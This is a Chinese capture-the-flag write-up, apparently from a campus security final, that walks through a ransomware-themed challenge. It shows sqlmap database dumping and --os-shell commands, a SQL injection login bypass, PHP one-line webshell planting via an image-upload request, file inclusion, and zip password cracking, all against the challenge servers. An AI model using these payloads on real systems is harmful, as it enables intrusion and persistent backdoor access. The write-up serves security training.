场景描述
某事业单位网络管理员“王洋”的电脑不幸遭遇勒索病毒攻击,磁盘文件被加密。其中有一个对他至关重要的文件,他急需恢复。你作为一位经验丰富的网络安全专家,临危受命,肩负起调查黑客组织动机并帮助王洋恢复文件的重任。在这一过程中,你不仅要面对技术上的挑战,还要与时间赛跑,因为每拖延一分钟都可能导致更大的损失。
题目解析
flag1——黑客的钱包地址
开始题目给了一个压缩包,解压出来分别是“勒索病毒-付款说明和王洋的桌面文件”
更具题目的描述,需要找到黑客的钱包地址,打开勒索病毒-付款说明即可看到
flag{115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn}
flag2——情报溯源
题目描述:找到黑客
通过分析的勒索病毒-付款说明,得知王洋为受害者([email protected]),那发件人即为黑客([email protected]),通过对其qq好进行溯源,搜索黑客QQ,查看个人说明,即可得到flag2
flag{h@ck3r666}
flag3——粗心的黑客
题目描述:找到黑客的后台
访问黑客QQ空间,找到其后台地址
http://111.75.158.35:50001
打开黑客的后台
查看网页源代码
flag{0kll23u90dflkad}
flag4——进入黑客后台
题目描述:进入黑客的后台
通过黑客的qq空间拿到了黑客的后台,但是需要用户和密码进行登录
但是没有账号和密码,可以尝试一些弱口令是否可以登录,例如:admin/admin、root/root、admin/123456等等,但是这里尝试了都没有用
其次,发现登录框可以尝试sql注入,在输入框中输入1'进行判断,发现其报错了,判断其为报错注入
方法一:
之后通过sqlmap进行注入,查询出所有的用户和密码,通过burp进行抓包观察其为post注入
然后用sqlmap进行注入
该命令既可以注入所有数据库
python3 sqlmap.py -u "http://111.75.158.35:50001/login.php" --data="username=1'&password=1" --dbs
之后就是查看orz数据库中的所有表
python3 sqlmap.py -u "http://111.75.158.35:50001/login.php" --data="username=1'&password=1" -D "orz" --tables
拿到账号和密码
python3 sqlmap.py -u "http://111.75.158.35:50001/login.php" --data="username=1'&password=1" -D "orz" -T "user" --dump
之后登录后台
方法二:
通过直接进行注入
poc
username=1' union select'admin','123&password=123
flag{9o0o0o09}
flag5——找到解密密钥
题目描述:找到解密密钥
通过admin进行登入后,可知是一个秘钥查询系统,存在大量的解密秘钥,但是更具整个事件,可知受害者为王洋,则需找到王洋的解密秘钥即可
null
flag{3b5a45f552204c7b85013a7aecb5bd6f}
flag6——恢复被加密的文件
题目描述:恢复王洋被加密的文件
从上题得到了了解密的秘钥,查看王洋的桌面文件,可以发现一个文本文件,打卡发现是黑客留给王洋的勒索说明
根据其内容的描述,可知他的重要文件被黑客加密了,需要进行解密,发现桌面上有一个解密程序和一个被加密后的xlsx文档
打开解密程序尝试用得到的秘钥进行解密,发现已经过了解密的时候,没法进行解密了
那我们只能通过ida进行逆向查看他是如何进行解密的,打开后可以发现其为AES加密
跟进解密解密程序,可知其设置的秘钥长度为256
知道加密程序,我们可以使用AI帮助生成一个解密程序,从而解密被加密的数据
解密程序
from Crypto.Cipher import AES import os def decrypt_file(input_file, output_file, key): # 确保密钥长度为 32 字节(256 位) if len(key) != 32: raise ValueError("密钥长度必须为 32 字节(256 位)") # 打开输入文件并读取数据 with open(input_file, "rb") as infile: data = infile.read() # 初始化 AES 解密器 cipher = AES.new(key, AES.MODE_ECB)# 使用 ECB 模式(根据你的代码逻辑) # 执行解密操作 decrypted_data = cipher.decrypt(data) # 写入解密后的数据到输出文件 with open(output_file, "wb") as outfile: outfile.write(decrypted_data) print(f"解密完成,解密后的文件已保存到 {output_file}") # 密钥 key = b'3b5a45f552204c7b85013a7aecb5bd6f' # 输入文件和输出文件 input_file = "secret.xlsx.enc"# 加密文件 output_file = "secret.xlsx"# 解密后的文件 # 调用解密函数 decrypt_file(input_file, output_file, key)
之后打开,解密后的xlsx文件即可拿到flag
flag{892ue93hr389eh39}
flag7——反制黑客
题目描述:拿到黑客服务器的权限
根据题目的描述,需拿到服务器权限,而且前台登入框存在,sql注入,那我们可以通过sqlmap来获取服务器权限
poc
sqlmap -u 'http://192.168.228.156/home.php?search=wangyang' --os-shell
[root@localhost /]# cat flag7.txt
flag{kiiknadkaw}
拿到shell之后,我们就要进行权限的维持,使用os-shell进行木马的写入,首先我们需先修改网站目录权限
之后在进行一句话木马的写入
os-shell> echo "" > /var/www/html/shell.php do you want to retrieve the command standard output? [Y/n/a] Y command standard output: ' '
再将文件的权限进行修改即可上线蚁剑webshell
chmod 755 /var/www/html/shell.php do you want to retrieve the command standard output? [Y/n/a] Y command standard output: ' '
flag8——黑客组织的邪恶计划
题目描述:秘密就在图片里
上线蚁剑之后再服务器的根目录下,发现了黑客的邪恶计划
将图片保存下载,之后可以看到一下对话
根据题目的描述,猜测其图片中藏有东西,使用foremost -i 黑客组织的邪恶计划.jpg,将分离图片中隐藏的内容
解压出一个zip的压缩包,但是我们不知道密码,首先通过zip2john导出其hash来
zip2john ./output/zip/00001072.zip >> password.txt
之后再用john进行,hash的计算从而得到压缩包的密码
root@kali ~/音乐 john ./password.txtWarning: invalid UTF-8 seen reading ./password.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x]) Loaded hashes with cost 1 (HMAC size) varying from 21 to 560572 Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst 1234567890(00001072.zip/���ܼƻ�/flag8.txt)1234567890(00001072.zip/���ܼƻ�/���㼯�ż��.png)2g 0:00:00:00 DONE 2/3 (2025-03-27 13:42) 2.631g/s 90978p/s 101760c/s 101760C/s 123456..ferrises Use the "--show" option to display all of the cracked passwords reliably Session completed.
解压既可以到的flag
解压密码1234567890
flag{dayu2d2dhj298dj}
黑客的邪恶计划.zip
flag9——黑客的大鱼
题目描述:黑客的大鱼
上一题我们解压出了压缩包,里面有一份多🐟集团的简介,打开查看下,在其中发现了一个网站的地址
打开其网站(http://111.75.158.35:60001),浏览下既可以发现flag9
flag{298hdu9wha8d9}
flag10——大鱼存在的危险
题目描述:大鱼存在的危险
观察这个网站也没有发现其他可以利用的地方,我们尝试使用dirseach进行目录扫描,看看其有没有其他的目录或者网站页面,扫描发现存在好多的目录
查看下admin.php目录,发现是一个后台的登录页面,其他的目录都没有什么用
但是我们没有账号进行登录,由于这个网站是一个开源的cms系统,可以去网上找下其默认密码,看看可不可以登录
发现成功登录
然后我们在站点信息处发现了一个上传点,尝试看看可以不可以通过文件上传从而拿到这太服务器的权限,通过抓包获取请求数据
之后通过改包进行后门的上传,发现限制了不能上次php的文件
由于是一个开源的系统,可以尝试寻找其历史漏洞,看看能不能拿到shell,找到一个任意文件包含漏洞
可以通过目录穿越结合任意文件包含,从而拿到shell,首先我们通过后台上传一个存在后门的图片文件
然后我们再结合接口进行目录穿越,成功打出phpinfo
之后我们可以进行木马的写入
POST /admin.php?p=/index/upload HTTP/1.1 Host: 111.75.158.35:60001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------86433866341372517643656688993 Content-Length: 493 Origin: http://111.75.158.35:60001 Connection: close Referer: http://111.75.158.35:60001/admin.php?p=/Site/index Cookie: lg=cn; PbootSystem=epj3ns85ofq4cj0pc04nep2dqe; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1743054765; Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1743054765; HMACCOUNT=CF7069A85815ECDB -----------------------------86433866341372517643656688993 Content-Disposition: form-data; name="upload"; filename="backdoor.png" Content-Type: image/png $filename = '/var/www/html/abc.php'; $content = '@eval($_REQUEST[123]); ?>'; if (file_put_contents($filename, $content) !== false) { echo "文件创建成功: " . $filename; } else { echo "无法创建文件,请检查目录权限"; } ?> -----------------------------86433866341372517643656688993--
之后上线蚁剑,拿到flag10
flag{i409rj480jk2}
flag11——黑客遗留的后门
题目描述:黑客遗留的后门,flag{后门文件名称}
拿到服务器权限之后,我们在根目录发现一个.hack_door程序,根据文件名可知这就是后门文件,由于他是.hack_door,在linux中为隐藏文件,需要用 ls -a才能看到或者直接用蚁剑查看
flag{.hacker_door}
hacker_door.zip
flag12——黑客的真实IP
题目描述:后门文件的C2服务器地址,flag{ip地址}
我们用ida进行查看刚才的程序,发现没用什么有用的
那我们运行抓包,来抓取流量得到黑客的ip
flag{117.50.212.11}
原文始发于微信公众号(Undefin3d安全团队):校赛决赛----WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论